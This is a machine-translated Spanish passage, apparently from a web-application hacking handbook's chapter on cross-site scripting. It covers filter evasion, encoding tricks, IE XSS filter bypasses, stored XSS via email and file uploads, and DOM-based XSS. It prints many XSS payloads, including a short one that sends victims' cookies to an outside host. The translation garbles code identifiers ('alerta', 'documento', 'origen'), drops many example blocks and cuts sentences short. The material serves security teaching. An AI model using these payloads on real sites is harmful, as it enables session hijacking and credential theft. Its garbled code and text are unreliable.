Machine Translated by Google
<img/onerror=”alerta(1)”src=a>
¡INTENTALO!
http://mdsec.net/search/69/ http://mdsec.net/
search/72/ http://mdsec.net/search/75/
Valores de atributo
Dentro de los propios valores de los atributos, puede usar el truco del byte NULL y también puede
codificar caracteres HTML dentro del valor:
Debido a que el navegador HTML decodifica el valor del atributo antes de procesarlo más,
puede usar la codificación HTML para ofuscar su uso del código de secuencia de comandos,
evadiendo así muchos fi ltros. Por ejemplo, el siguiente ataque pasa por alto muchos filtros que
buscan bloquear el uso del controlador de pseudo-protocolo de JavaScript:
Cuando se utiliza la codificación HTML, vale la pena señalar que los navegadores toleran
varias desviaciones de las especificaciones, de manera que incluso los filtros que son conscientes
de los problemas de codificación HTML pueden pasar por alto. Puede usar el formato decimal y
hexadecimal, agregar ceros iniciales superfluos y omitir el punto y coma final.
Los siguientes ejemplos funcionan en al menos un navegador:
Corchetes de
Algunas aplicaciones realizan una decodificación URL superflua de la entrada después de que
se hayan aplicado sus filtros de entrada, por lo que aparece la siguiente entrada en una solicitud:
%253cimg%20onerror=alerta(1)%20src=a%253e
que no contiene corchetes de etiquetas y, por lo tanto, no está bloqueado por el filtro de entrada. Sin
embargo, la aplicación luego realiza una segunda decodificación de URL, por lo que la entrada se convierte
en:
glifos o fonética. Por ejemplo, la siguiente entrada utiliza comillas de doble ángulo Unicode (%u00AB y
%u00BB) en lugar de corchetes de etiquetas:
Los filtros de entrada de la aplicación pueden permitir esta entrada porque no contiene ningún HTML
problemático. Sin embargo, si el marco de la aplicación traduce las comillas en caracteres de etiqueta en
el punto donde se inserta la entrada en una respuesta, el ataque tiene éxito. Numerosas aplicaciones se
han encontrado vulnerables a este tipo de ataque, que los desarrolladores pueden pasar por alto.
Algunos filtros de entrada identifican etiquetas HTML simplemente haciendo coincidir los corchetes
angulares de apertura y cierre, extrayendo el contenido y comparándolo con una lista negra de nombres
de etiquetas. En esta situación, es posible que pueda omitir el fi ltro utilizando corchetes superfluos, que
el navegador tolera:
<<script>alerta(1);//</script>
Juegos de caracteres
En algunas situaciones, puede emplear un medio poderoso para eludir muchos tipos de filtros
haciendo que la aplicación acepte una codificación no estándar de la carga útil de su ataque.
Los siguientes ejemplos muestran algunas representaciones de la cadena
<script>alert(document.cookie)</script> en juegos de caracteres alternativos:
UTF-7
+ADw-script+AD4-alerta(document.cookie)+ADw-/script+AD4-
US-ASCII
BC 73 63 72 69 70 74 BE 61 6C 65 72 74 28 64 6F; ¼script¾alert(do 63 75 6D 65 6E 74 2E 63 6F 6F 6B 69 65
29 BC 2F ; cument.cookie)¼/
73 63 72 69 70 74 SER ; guion¾
UTF-16
FF FE 3C 00 73 00 63 00 72 00 69 00 70 00 74 00 ; ÿþ<.script
3E 00 61 00 6C 00 65 00 72 00 74 00 28 00 64 00 ; >.alerta(.d.
6F 00 63 00 75 00 6D 00 65 00 6E 00 74 00 2E 00 ; documento..
63 00 6F 00 6F 00 6B 00 69 00 65 00 29 00 3C 00 ; galleta).<.
2F 00 73 00 63 00 72 00 69 00 70 00 74 00 3E 00 ; /.script>.
Estas cadenas codificadas pasarán por alto muchos filtros anti-XSS comunes. El desafío de
lanzar un ataque exitoso es hacer que el navegador interprete la respuesta usando el juego de
caracteres requerido. Si controla el encabezado de tipo de contenido HTTP o su metaetiqueta
HTML correspondiente, es posible que pueda usar un juego de caracteres no estándar para
omitir los filtros de la aplicación y hacer que el navegador interprete su carga útil de la manera
que usted requiere. En algunas aplicaciones, se envía un parámetro de conjunto de caracteres
en ciertas solicitudes, lo que le permite establecer directamente el conjunto de caracteres
utilizado en la respuesta de la aplicación.
Si la aplicación utiliza de forma predeterminada un conjunto de caracteres multibyte, como
Shift-JIS, esto puede permitirle omitir ciertos filtros de entrada al enviar caracteres que tienen
un significado especial en el conjunto de caracteres que se está utilizando. Por ejemplo,
supongamos que se devuelven dos entradas de usuario en la respuesta de la aplicación:
Para input1, la aplicación bloquea la entrada que contiene comillas para evitar que un atacante
finalice el atributo citado. Para input2, la aplicación bloquea la entrada que contiene corchetes
angulares para evitar que un atacante use cualquier etiqueta HTML. Esto parece ser sólido, pero un
atacante puede entregar un exploit utilizando las siguientes dos entradas:
entrada1: [%f0]
entrada2: “onload=alerta(1);
JavaScript permite varios tipos de escape de caracteres, que puede usar para evitar incluir expresiones
requeridas en su forma literal.
Los escapes de Unicode se pueden usar para representar caracteres dentro de palabras clave de
JavaScript, lo que le permite omitir muchos tipos de filtros:
<script>a\u006cert(1);</script>
use varias técnicas de manipulación de cadenas para ocultar el comando que está
ejecutando.
Dentro de las cadenas de JavaScript, puede usar escapes Unicode, escapes hexadecimales,
y escapes octales:
<script>eval('a\u006cert(1)');</script> <script>eval('a\x6cert(1)');</
script> <script>eval('a\154ert(1) ');</script>
<script>eval('a\l\ert\(1\)');</script>
<script>eval('al'+'ert(1)');</script>
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41));</script> <script>eval(atob
('amF2YXNjcmlwdDphbGVydCgxKQ'));</script>
Alternativas a eval
Si las llamadas directas al comando eval no son posibles, tiene otras formas de
ejecutar comandos en forma de cadena:
<script>'alerta(1)'.replace(/.+/,eval)</script> <script>función::['alerta'](1)</
script>
<script>alerta(documento['cookie'])</script>
<script>with(documento)alerta(cookie)</script>
Por supuesto, cualquiera de los otros caracteres dentro del valor del atributo onerror podría
también estar codificado en HTML para ocultar aún más el ataque:
<img onerror=eval('al\u0065rt(1&
#x29;') origen=a>
Esta técnica le permite omitir muchos fi ltros en el código de JavaScript, ya que puede
evitar el uso de palabras clave de JavaScript u otra sintaxis como comillas, puntos y corchetes.
Uso de VBScript
Aunque los ejemplos comunes de exploits XSS generalmente se enfocan en JavaScript, en
Internet Explorer también puede usar el lenguaje VBScript. Tiene una sintaxis diferente y otras
propiedades que puede aprovechar para omitir muchos filtros de entrada que se diseñaron
pensando solo en JavaScript.
Puede introducir código VBScript de varias formas:
En todos los casos, puede usar vbscript en lugar de vbs para especificar el idioma. En el
último ejemplo, tenga en cuenta el uso de MsgBox+1 para evitar el uso de espacios en blanco,
evitando así la necesidad de comillas alrededor del valor del atributo. Esto funciona porque
+1 efectivamente suma el número 1 a nada, por lo que la expresión se evalúa como 1, que
se pasa a la función MsgBox .
Cabe señalar que en VBScript, algunas funciones se pueden llamar sin corchetes , como se
muestra en los ejemplos anteriores. Esto puede permitirle omitir algunos filtros que asumen que
el código de secuencia de comandos debe utilizar corchetes para acceder a cualquier función.
Además, a diferencia de JavaScript, el lenguaje VBScript no distingue entre mayúsculas y
minúsculas, por lo que puede usar caracteres en mayúsculas y minúsculas en todas las
palabras clave y nombres de funciones. Este comportamiento es más útil cuando la función
de la aplicación que está atacando modifica el caso de su entrada, como convertirlo a mayúsculas.
Aunque esto puede haberse hecho por razones de funcionalidad en lugar de seguridad ,
puede frustrar las vulnerabilidades XSS utilizando código JavaScript, que no se ejecuta
cuando se convierte a mayúsculas. Por el contrario, los exploits que usan VBScript todavía funcionan:
Incluso puede anidar estas llamadas y hacer ping-pong entre los idiomas según sea necesario:
<script>execScript('execScript
“alerta(1)”,”javascript”',”vbscript”);</script>
Esta codificación se diseñó originalmente para evitar que los usuarios inspeccionaran
fácilmente los scripts del lado del cliente al ver el código fuente de la página HTML. Desde
entonces, se ha realizado ingeniería inversa y numerosas herramientas y sitios web le permitirán
decodificar scripts codificados. Puede codificar sus propios scripts para usarlos en ataques a
través de la utilidad de línea de comandos de Microsoft srcenc en versiones anteriores de Windows.
Superando la desinfección
De todos los obstáculos que puede encontrar al intentar explotar las condiciones potenciales
de XSS, los filtros desinfectantes son probablemente los más comunes. Aquí, la aplicación
realiza algún tipo de desinfección o codificación en su cadena de ataque que la vuelve
inofensiva, evitando que provoque la ejecución de JavaScript.
La manifestación más frecuente de desinfección de datos ocurre cuando la aplicación
codifica en HTML ciertos caracteres clave que son necesarios para lanzar un ataque (por lo que
< se convierte en < y > se convierte en >). En otros casos, la aplicación puede eliminar
ciertos caracteres o expresiones en un intento de limpiar su entrada de contenido malicioso.
para usar una etiqueta diferente con un controlador de eventos adecuado. Aquí, debe
considerar todas las técnicas ya discutidas para tratar con fi ltros basados en firmas,
incluido el uso de capas de codificación, bytes NULL, sintaxis no estándar y código de
script ofuscado. Al modificar su entrada en las diversas formas descritas, puede diseñar
un ataque que no contenga ninguno de los caracteres o expresiones que el filtro está
desinfectando y, por lo tanto, evitarlo con éxito.
Si parece imposible realizar un ataque sin usar la entrada que se está desinfectando,
debe probar la eficacia del filtro de desinfección para establecer si existen derivaciones.
Como se describe en el Capítulo 2, a menudo aparecen varios errores al desinfectar los fi ltros.
Algunas API de manipulación de cadenas contienen métodos para reemplazar solo la
primera instancia de una expresión coincidente y, a veces, se confunden fácilmente
con métodos que reemplazan todas las instancias. Entonces, si <script> se elimina de
su entrada, debe intentar lo siguiente para verificar si se eliminan todas las instancias:
<script><script>alerta(1)</script>
<scr<script>ipt>alerta(1)</script>
<scr<objeto>ipt>alerta(1)</script>
var a = 'foo';
puedes inyectar:
foo\'; alerta(1);//
resto de la línea, evitando así un error de sintaxis causado por el propio delimitador de
cadena de la aplicación:
Aquí, si encuentra que el carácter de barra invertida también se escapa correctamente, pero los
corchetes angulares se devuelven sin desinfectar, puede usar el siguiente ataque:
</script><script>alerta(1)</script>
Esto abandona efectivamente el script original de la aplicación e inyecta uno nuevo inmediatamente
después. El ataque funciona porque el análisis de etiquetas HTML de los navegadores tiene prioridad
sobre su análisis de JavaScript incrustado:
<script>var a = '</script><script>alerta(1)</script>
Aunque la secuencia de comandos original ahora contiene un error de sintaxis, esto no importa,
porque el navegador continúa y ejecuta la secuencia de comandos inyectada independientemente del
error en la secuencia de comandos original.
¡INTENTALO!
http://mdsec.net/search/48/ http://mdsec.net/
search/52/
SUGERENCIA Si puede inyectar en un script, pero no puede usar comillas porque se escapan,
puede usar la técnica String.fromCharCode para construir cadenas sin necesidad de
delimitadores, como se describió anteriormente.
En los casos en que la secuencia de comandos que está inyectando reside dentro de un controlador
de eventos, en lugar de un bloque de secuencia de comandos completo, puede codificar en HTML sus
comillas para evitar la limpieza de la aplicación y salir de la cadena que controla. Por ejemplo, si
controlas el valor foo en:
y la aplicación escapa correctamente tanto de las comillas como de las barras invertidas en su entrada,
el siguiente ataque puede tener éxito:
foo'; alerta(1);//
Esto da como resultado la siguiente respuesta, y debido a que algunos navegadores realizan una
decodificación de HTML antes de que el controlador de eventos se ejecute como JavaScript, el ataque
tiene éxito:
Cuando la aplicación trunca su entrada a una longitud máxima fija, tiene tres enfoques posibles
para crear un exploit funcional.
El primer método, bastante obvio, es intentar acortar la carga útil de su ataque utilizando
las API de JavaScript con la longitud más corta posible y eliminando los caracteres que
normalmente se incluyen pero que son estrictamente innecesarios. Por ejemplo, si está
inyectando en un script existente, el siguiente comando de 28 bytes transmite las cookies del
usuario al servidor con el nombre de host a:
abierto(“//a/”+documento.cookie)
<script src=http://a></script>
http://dean.edwards.name/packer/
La segunda técnica, potencialmente más poderosa para superar los límites de longitud,
es expandir la carga útil de un ataque a través de múltiples ubicaciones diferentes donde la
entrada controlable por el usuario se inserta en la misma página devuelta. Por ejemplo,
considere la siguiente URL:
https://wahh-app.com/account.php?page_id=244&seed=129402931&mode=normal
Suponga que cada campo tiene restricciones de longitud, de modo que no se puede
insertar ninguna cadena de ataque factible en ninguno de ellos. Sin embargo, aún puede
entregar un exploit funcional utilizando la siguiente URL para distribuir un script en las
tres ubicaciones que controla:
https://myapp.com/account.php?page_id=”><script>/*&seed=*/alert(document .cookie);/*&mode=*/</script>
Una tercera técnica para superar los límites de longitud, que puede ser muy
eficaz en algunas situaciones, es “convertir” una falla XSS reflejada en una
vulnerabilidad basada en DOM. Por ejemplo, en la vulnerabilidad XSS reflejada
original, si la aplicación establece una restricción de longitud en el parámetro del
mensaje que se copia en la página devuelta, puede inyectar el siguiente script de
45 bytes, que evalúa la cadena del fragmento en la URL actual. :
<script>eval(ubicación.hash.slice(1))</script>
Aquí hay una versión aún más corta que funciona en la mayoría de las situaciones:
En esta versión, toda la URL se decodifica como URL y luego se pasa al comando eval .
La URL completa se ejecuta como JavaScript válido porque el prefijo del protocolo http:
sirve como una etiqueta de código, el // que sigue al prefijo del protocolo sirve como un
comentario de una sola línea y %0A se decodifica como URL para convertirse en una
nueva línea, lo que indica el final del comentario.
http://blog.kotowicz.net/2010/11/xss-track-how-to-quietly-track-whole.html
MITO COMÚN
“No nos preocupa ningún error XSS en la parte no autenticada de nuestro sitio. No se
pueden usar para secuestrar sesiones”.
Este pensamiento es erróneo por dos razones. Primero, un error XSS en la parte no
autenticada de una aplicación normalmente se puede usar para comprometer directamente
las sesiones de los usuarios autenticados. Por lo tanto, una falla de XSS reflejada no
autenticada suele ser más grave que una autenticada, porque el alcance de las posibles
víctimas es más amplio. En segundo lugar, incluso si un usuario aún no está autenticado, un
atacante puede implementar alguna funcionalidad troyana que persiste en el navegador de la
víctima a través de múltiples solicitudes, esperando hasta que la víctima inicie sesión y luego
secuestrando la sesión resultante. Incluso es posible capturar la contraseña de un usuario
utilizando un registrador de teclas escrito en JavaScript, como se describe en el Capítulo 13.
Suponga que la vulnerabilidad XSS que identificó usa una solicitud POST , pero el método más
conveniente para lanzar un ataque requiere el método GET , por ejemplo, al enviar una publicación en
el foro que contiene una etiqueta IMG dirigida a la URL vulnerable.
MITO COMÚN
“Este error XSS no es explotable. No puedo hacer que mi ataque funcione como
una solicitud GET".
Si una falla XSS reflejada solo puede explotarse mediante el método POST, la
aplicación aún es vulnerable a varios mecanismos de entrega de ataques, incluidos los que
emplean un sitio web malicioso de terceros.
Machine Translated by Google
En algunas situaciones, la técnica opuesta puede ser útil. Convertir un ataque que usa el método
GET en uno que usa el método POST puede permitirle eludir ciertos fi ltros. Muchas aplicaciones
realizan un filtrado genérico de solicitudes de cadenas de ataque conocidas en toda la aplicación. Si
una aplicación espera recibir solicitudes utilizando el método GET , puede realizar este filtrado solo
en la cadena de consulta de URL. Al convertir una solicitud para usar el método POST , es posible
que pueda omitir este fi ltro.
cookies Algunas aplicaciones contienen vulnerabilidades XSS reflejadas para las cuales el punto de
entrada del ataque se encuentra dentro de una cookie de solicitud. En esta situación, puede utilizar
varias técnicas para aprovechar la vulnerabilidad:
n Al igual que con la modificación del método de solicitud, la aplicación puede permitirle usar una
URL o un parámetro de cuerpo con el mismo nombre que la cookie para desencadenar la
vulnerabilidad.
vulnerabilidad. n Si ninguno de los métodos anteriores tiene éxito, puede aprovechar cualquier
otro error XSS reflejado en el mismo dominio (o uno relacionado) para establecer una cookie
persistente con el valor requerido, lo que compromete permanentemente al usuario víctima.
referencia Algunas aplicaciones contienen vulnerabilidades de XSS reflejadas que solo pueden
activarse a través del encabezado de referencia . Por lo general, estos son bastante fáciles de
explotar utilizando un servidor web controlado por el atacante. Se induce a la víctima a solicitar una
URL en el servidor del atacante que contenga una carga útil XSS adecuada para la aplicación
vulnerable. El servidor del atacante devuelve una respuesta que provoca una solicitud a la URL
vulnerable, y la carga útil del atacante se incluye en el encabezado Referer que se envía con esta
solicitud.
Machine Translated by Google
n Debe encontrar un medio para hacer que un usuario víctima realice la solicitud entre
dominios necesaria. n Necesita encontrar una forma de manipular la respuesta para que
se ejecute
su script cuando es consumido por el navegador.
<?xml version=”1.0”?><data><param>foo</param></data>
Para incluir caracteres de ataque comunes dentro del valor del parámetro param , como
paréntesis angulares de etiquetas, estos deben estar codificados en HTML dentro de la
solicitud XML. Por lo tanto, tendrían que tener doble codificación HTML dentro del formulario
HTML que genera esa solicitud.
SUGERENCIA Puede usar esta técnica para enviar solicitudes entre dominios que
contengan prácticamente cualquier tipo de contenido, como datos codificados en
JSON y objetos binarios serializados, siempre que pueda incorporar el carácter
igual en algún lugar dentro de la solicitud. Normalmente, esto es posible modificando
un campo de texto de forma libre dentro de la solicitud que puede contener un
carácter igual. Por ejemplo, en los siguientes datos JSON, el campo de comentario se usa para introducir el
La única advertencia importante sobre el uso de esta técnica es que la solicitud resultante
contendrá el siguiente encabezado:
HTTP/1.1 200 Ok
Tipo de contenido: texto/xml
Machine Translated by Google
<xml>
<datos>
...
<a xmlns:a='http://www.w3.org/1999/xhtml'>
<a:carga corporal='alerta(1)'/></a>
...
</datos>
</xml>
n En las solicitudes entre dominios, se inspecciona cada valor de parámetro para identificar
posibles intentos de inyectar JavaScript. Esto se hace comparando el valor con una lista
negra basada en expresiones regulares de cadenas de ataques comunes.
Lo primero que hay que decir sobre el filtro XSS de IE es que, por lo general, es muy
eficaz para bloquear la explotación estándar de errores XSS, lo que eleva considerablemente
el listón para cualquier atacante que intente realizar estos ataques. Dicho esto, el fi ltro se
puede omitir de algunas maneras importantes. También puede aprovechar el
funcionamiento del fi ltro para lanzar ataques que de otro modo serían imposibles.
En primer lugar, algunas formas de eludir el fi ltro surgen de las características principales de su diseño:
n Solo se consideran los valores de los parámetros, no los nombres de los parámetros.
Algunas aplicaciones son vulnerables a ataques triviales a través de nombres de
parámetros, como si toda la URL solicitada o la cadena de consulta se repiten en la respuesta.
Estos ataques no son prevenidos por el fi ltro.
n Debido a que el valor de cada parámetro se considera por separado, si más de un parámetro se
refleja en la misma respuesta, puede ser posible abarcar un ataque entre los dos parámetros, como
se describió como una técnica para superar los límites de longitud. Si la carga útil de XSS se puede
dividir en fragmentos, ninguno de los cuales coincide individualmente con la lista negra de
expresiones bloqueadas, el filtro no bloquea el ataque.
n Solo se incluyen solicitudes entre dominios, por motivos de rendimiento. Por lo tanto, si un atacante
puede hacer que un usuario realice una solicitud "en el sitio" de una URL XSS, el ataque no se
bloquea. Esto generalmente se puede lograr si la aplicación contiene algún comportamiento que
permita a un atacante inyectar enlaces arbitrarios en una página vista por otro usuario (incluso si
esto es en sí mismo un ataque reflejado; el filtro XSS busca bloquear solo los scripts inyectados,
no los inyectados). Enlaces). En este escenario, el ataque requiere dos pasos: la inyección del
enlace malicioso en la página de un usuario, y el usuario hace clic en el enlace y recibe la carga
útil XSS.
En segundo lugar, algunos detalles de implementación relacionados con el comportamiento del navegador y del servidor.
n Como ha visto, los navegadores toleran varios tipos de caracteres y sintaxis inesperados cuando
procesan HTML, como la propia tolerancia de IE de bytes NULL. Las peculiaridades del
comportamiento de IE a veces se pueden aprovechar para eludir su propio filtro XSS.
p1=foo&p1=barra
p1=foo,barra
Por el contrario, el fi ltro XSS de IE aún procesa cada parámetro por separado, incluso si comparten
el mismo nombre. Esta diferencia de comportamiento puede facilitar
Machine Translated by Google
para abarcar una carga útil XSS en varios parámetros de solicitud "diferentes" con
el mismo nombre, omitiendo la lista negra con cada valor separado, todo lo cual el
servidor vuelve a combinar.
¡INTENTALO!
http://mdsec.net/error/5/Error.ashx?message=<scr%00ipt%20&message=> alerta('xss')</
script>
En tercer lugar, la forma en que el filtro desinfecta el código de script en las respuestas de la
aplicación puede aprovecharse para lanzar ataques que de otro modo serían imposibles. La
razón central de esto es que el fi ltro opera pasivamente, buscando solo correlaciones entre
entradas y salidas similares a secuencias de comandos. No puede sondear interactivamente la
aplicación para confi rmar si una determinada entrada realmente provoca una determinada
salida. Como resultado, un atacante puede aprovechar el fi ltro para neutralizar selectivamente
el propio código de secuencia de comandos de la aplicación que aparece en las respuestas. Si
el atacante incluye parte de una secuencia de comandos existente dentro del valor de un
parámetro de solicitud , el fi ltro IE XSS ve que el mismo código de secuencia de comandos
aparece en la solicitud y la respuesta y modifica la secuencia de comandos en la respuesta para evitar que se ejecu
Se han identificado algunas situaciones en las que la neutralización de un guión existente
cambia el contexto sintáctico de una parte posterior de la respuesta que contiene un reflejo
de la entrada del usuario. Este cambio de contexto puede significar que el propio filtrado
de la entrada reflejada por parte de la aplicación ya no es suficiente. Por lo tanto, la
reflexión se puede utilizar para lanzar un ataque XSS de una manera que era imposible sin
los cambios realizados por el fi ltro XSS de IE. Sin embargo, las situaciones en las que
esto ha surgido generalmente involucran casos extremos con características inusuales o
han revelado defectos en versiones anteriores del fi ltro IE XSS que desde entonces se han corregido.
Más importante aún, la capacidad de un atacante para neutralizar selectivamente el propio código de
secuencia de comandos de una aplicación podría aprovecharse para lanzar ataques completamente
diferentes al interferir con los mecanismos de control relevantes para la seguridad de una aplicación. Un
ejemplo genérico de esto se relaciona con la eliminación del código defensivo de destrucción de tramas
(consulte el Capítulo 13), pero pueden surgir muchos otros ejemplos en relación con el código específico
de la aplicación que realiza tareas de seguridad defensivas clave en el lado del cliente.
PASOS DE HACK
1. Habiendo enviado una cadena única a cada ubicación posible dentro del
aplicación, debe revisar todo el contenido y la funcionalidad de la aplicación una
vez más para identificar cualquier instancia en la que esta cadena se muestre de
nuevo en el navegador. Los datos controlables por el usuario ingresados en una
ubicación (por ejemplo, un campo de nombre en una página de información
personal) pueden mostrarse en numerosos lugares a lo largo de la aplicación.
(Por ejemplo, podría estar en la página de inicio del usuario, en una lista de
usuarios registrados, en elementos de flujo de trabajo como tareas, en listas de
contactos de otros usuarios, en mensajes o preguntas publicadas por el usuario,
o en registros de aplicaciones. ) Cada apariencia de la cadena puede estar sujeta
a diferentes filtros de protección y, por lo tanto, debe investigarse por separado.
2. Si es posible, todas las áreas de la aplicación accesibles para los administradores
debe revisarse para identificar la apariencia de cualquier dato controlable por
usuarios no administrativos. Por ejemplo, la aplicación puede permitir que los
administradores revisen los archivos de registro en el navegador. Es
extremadamente común que este tipo de funcionalidad contenga vulnerabilidades
XSS que un atacante puede explotar generando entradas de registro que contienen HTML malicioso.
3. Al enviar una cadena de prueba a cada ubicación dentro de la aplicación, a veces
no es suficiente simplemente publicarla como cada parámetro en cada página.
Muchas funciones de la aplicación deben seguirse a través de varias etapas
antes de que los datos enviados se almacenen realmente. Por ejemplo,
acciones como registrar un nuevo usuario, realizar un pedido de compra y
realizar una transferencia de fondos a menudo implican el envío de varias
solicitudes diferentes en una secuencia definida. Para evitar perder
vulnerabilidades, es necesario ver cada caso de prueba hasta su finalización.
4. Al buscar XSS reflejado, está interesado en todos los aspectos de la solicitud
de una víctima que puede controlar. Esto incluye todos los parámetros de la
solicitud, cada encabezado HTTP, etc. En el caso de XSS almacenado, también
debe investigar los canales fuera de banda a través de los cuales la aplicación
recibe y procesa la entrada que puede controlar. Cualquiera de estos canales
son vectores de ataque adecuados para introducir ataques XSS almacenados.
Revise los resultados de sus ejercicios de mapeo de aplicaciones (consulte el
Capítulo 4) para identificar todas las posibles áreas de superficie de ataque.
5. Si la aplicación permite cargar y descargar archivos, pruebe siempre esta
función en busca de ataques XSS almacenados. Las técnicas detalladas para
probar este tipo de funcionalidad se analizan más adelante en este capítulo.
6. Piense imaginativamente en cualquier otro medio posible por el cual los datos
La aplicación puede almacenar el control y mostrarlo a otros usuarios. Por
ejemplo, si la función de búsqueda de la aplicación muestra una lista de elementos
de búsqueda populares, es posible que pueda introducir una carga útil XSS
almacenada buscándola varias veces, aunque la función de búsqueda principal
en sí misma maneje su entrada de forma segura.
Machine Translated by Google
Para realizar esta tarea de manera completa, debe enviar todo tipo de contenido HTML inusual
dentro de los correos electrónicos, como describimos para probar las omisiones en los filtros de
entrada. Si se limita a utilizar un cliente de correo electrónico estándar, es probable que descubra
que no tiene suficiente control sobre el contenido del mensaje sin procesar, o que el propio cliente
puede desinfectar o “limpiar” su sintaxis malformada deliberadamente.
En esta situación, generalmente es preferible utilizar un medio alternativo para generar
correos electrónicos que le brinde un control directo sobre el contenido de los mensajes. Un
método para hacer esto es usar el comando sendmail de UNIX. Debe haber configurado su
computadora con los detalles del servidor de correo que debe usar para enviar correo saliente.
Luego puede crear su correo electrónico sin procesar en un editor de texto y enviarlo usando
este comando:
El siguiente es un ejemplo de un archivo de correo electrónico sin procesar. Además de probar varias
cargas útiles de XSS y omisiones de filtro en el cuerpo del mensaje, también puede intentar especificar
un tipo de contenido y un juego de caracteres diferentes :
<html>
<cuerpo>
<img src=``onerror=alerta(1)>
</cuerpo>
</html>
.
n Durante la carga de archivos, la aplicación puede restringir las extensiones de archivo que
puede ser usado.
n Durante la carga del archivo, la aplicación puede inspeccionar el contenido del archivo para con
fi rmar que cumple con un formato esperado, como JPEG. n Durante la descarga del archivo, la
aplicación puede devolver un encabezado de tipo de contenido que especifica el tipo de contenido
que la aplicación cree que contiene el archivo, como imagen/jpeg.
Al examinar esta funcionalidad, lo primero que debe hacer es intentar cargar un archivo HTML simple
que contenga un script de prueba de concepto. Si se acepta el archivo, intente descargarlo de la forma
habitual. Si el archivo original se devuelve sin modificar y su script se ejecuta, la aplicación es ciertamente
vulnerable.
Machine Translated by Google
<script>alerta(1)</script>
Ataques de archivos
híbridos A menudo, para defenderse de los ataques descritos hasta ahora, las aplicaciones
realizan alguna validación del contenido del archivo cargado para verificar que realmente
contiene datos en el formato esperado, como una imagen. Estas aplicaciones aún pueden ser
vulnerables, utilizando "archivos híbridos" que combinan dos formatos diferentes dentro del
mismo archivo.
Un ejemplo de un archivo híbrido es un archivo GIFAR, ideado por Billy Rios. Un archivo
GIFAR contiene datos tanto en formato de imagen GIF como en formato JAR (archivo Java) y
en realidad es una instancia válida de ambos formatos. Esto es posible porque los metadatos
del archivo relacionados con el formato GIF están al principio del archivo y los metadatos
relacionados con el formato JAR están al final del archivo. Debido a esto, las aplicaciones que
validan el contenido de los archivos cargados y que permiten archivos que contienen datos GIF,
aceptan los archivos GIFAR como válidos.
Un ataque de archivo cargado usando un archivo GIFAR generalmente implica los siguientes
pasos:
n El atacante encuentra una función de aplicación en la que los archivos GIF cargados por
un usuario pueden ser descargados por otros usuarios, como la imagen de perfil de un
usuario en una aplicación de red social.
n El atacante construye un archivo GIFAR que contiene código Java que secuestra la sesión
de cualquier usuario que lo ejecute.
Machine Translated by Google
n El atacante sube el archivo como su foto de perfil. Dado que el archivo contiene
una imagen GIF válida, la aplicación la acepta.
n El atacante identifica un sitio web externo adecuado desde el cual lanzar un ataque aprovechando
el archivo cargado. Este puede ser el sitio web del atacante o un sitio de terceros que permita
la creación de HTML arbitrario, como un blog.
n En el sitio externo, el atacante utiliza la etiqueta <applet> o <object> para cargar el archivo GIFAR
del sitio de redes sociales como un subprograma Java. n Cuando un usuario visita el sitio
externo, el subprograma Java del atacante se ejecuta en su navegador. Para los subprogramas de
Java, la política del mismo origen se implementa de manera diferente que para los scripts
normales incluidos. El subprograma se trata como perteneciente al dominio desde el que se
cargó, no al dominio que lo invocó. Por lo tanto, el subprograma del atacante se ejecuta en el
dominio de la aplicación de red social. Si el usuario de la víctima inició sesión en la aplicación
de red social en el momento del ataque, o si inició sesión recientemente y seleccionó la opción
"permanecer conectado", el subprograma del atacante tiene acceso completo a la sesión del
usuario y el usuario está comprometido. .
Este ataque específico que utiliza archivos GIFAR se evita en las versiones actuales del complemento
del navegador Java, que valida si los archivos JAR que se cargan realmente contienen contenido
híbrido. Sin embargo, el principio de utilizar archivos híbridos para ocultar el código ejecutable sigue
siendo válido. Dada la creciente gama de formatos de código ejecutable por el cliente que se utilizan
actualmente, es posible que existan ataques similares en otros formatos o que surjan en el futuro.
de Ajax Algunas de las aplicaciones actuales usan Ajax para recuperar y representar direcciones URL
que se especifican después del identifi cador de fragmento. Por ejemplo, las páginas de una aplicación
pueden contener enlaces como los siguientes:
http://wahh-app.com/#profile
Cuando el usuario hace clic en el enlace, el código del lado del cliente maneja el evento de clic,
usa Ajax para recuperar el archivo que se muestra después del fragmento y establece la respuesta
dentro del HTML interno de un elemento <div> en la página existente. Esto puede proporcionar
una experiencia de usuario sin costuras , en la que al hacer clic en una pestaña en la interfaz de
usuario se actualiza el contenido mostrado sin recargar toda la página.
En esta situación, si la aplicación también contiene una funcionalidad que le permite cargar y
descargar archivos de imagen, como una imagen de perfil de usuario, es posible que pueda cargar un
archivo de imagen válido que contenga marcado HTML incrustado y construir una URL que provoque
la código del lado del cliente para obtener la imagen y mostrarla como HTML:
http://wahh-app.com/#profiles/images/15234917624.jpg
Machine Translated by Google
“<script>alerta(1)</script>
“;alerta(1)//
'-alerta(1)-'
Al mostrar cada página devuelta en su navegador, hace que se ejecuten todos los scripts del
lado del cliente, haciendo referencia a su parámetro de URL modificado cuando corresponda.
Cada vez que aparece un cuadro de diálogo que contiene sus cookies, habrá encontrado una
vulnerabilidad (que puede deberse a XSS basado en DOM u otras formas). Este proceso podría
incluso ser automatizado por una herramienta que implementara su propio intérprete de
JavaScript.
Sin embargo, este enfoque básico no identifica todos los errores XSS basados en DOM.
Como ha visto, la sintaxis precisa requerida para inyectar JavaScript válido en un documento
HTML depende de la sintaxis que ya aparece antes y después del punto donde se inserta la
cadena controlable por el usuario. Puede ser necesario terminar una cadena entre comillas
simples o dobles o cerrar etiquetas específi cas. A veces se pueden requerir nuevas etiquetas,
pero a veces no. El código de la aplicación del lado del cliente puede intentar validar los datos
recuperados del DOM y aún así puede ser vulnerable.
Machine Translated by Google
Si una cadena de prueba estándar no da como resultado una sintaxis válida cuando
se procesa e inserta, el JavaScript incrustado no se ejecuta y no aparece ningún
cuadro de diálogo, aunque la aplicación puede ser vulnerable a un ataque diseñado
correctamente. Aparte de enviar cada cadena de ataque XSS concebible en cada
parámetro, el enfoque básico inevitablemente pasa por alto una gran cantidad de vulnerabilidades.
Un enfoque más efectivo para identificar errores XSS basados en DOM es revisar todo el
JavaScript del lado del cliente para detectar cualquier uso de las propiedades DOM que pueda
conducir a una vulnerabilidad. Hay varias herramientas disponibles para ayudar a automatizar este
proceso. Una de estas herramientas efectivas es DOMTracer, disponible en la siguiente URL:
www.blueinfy.com/tools.html
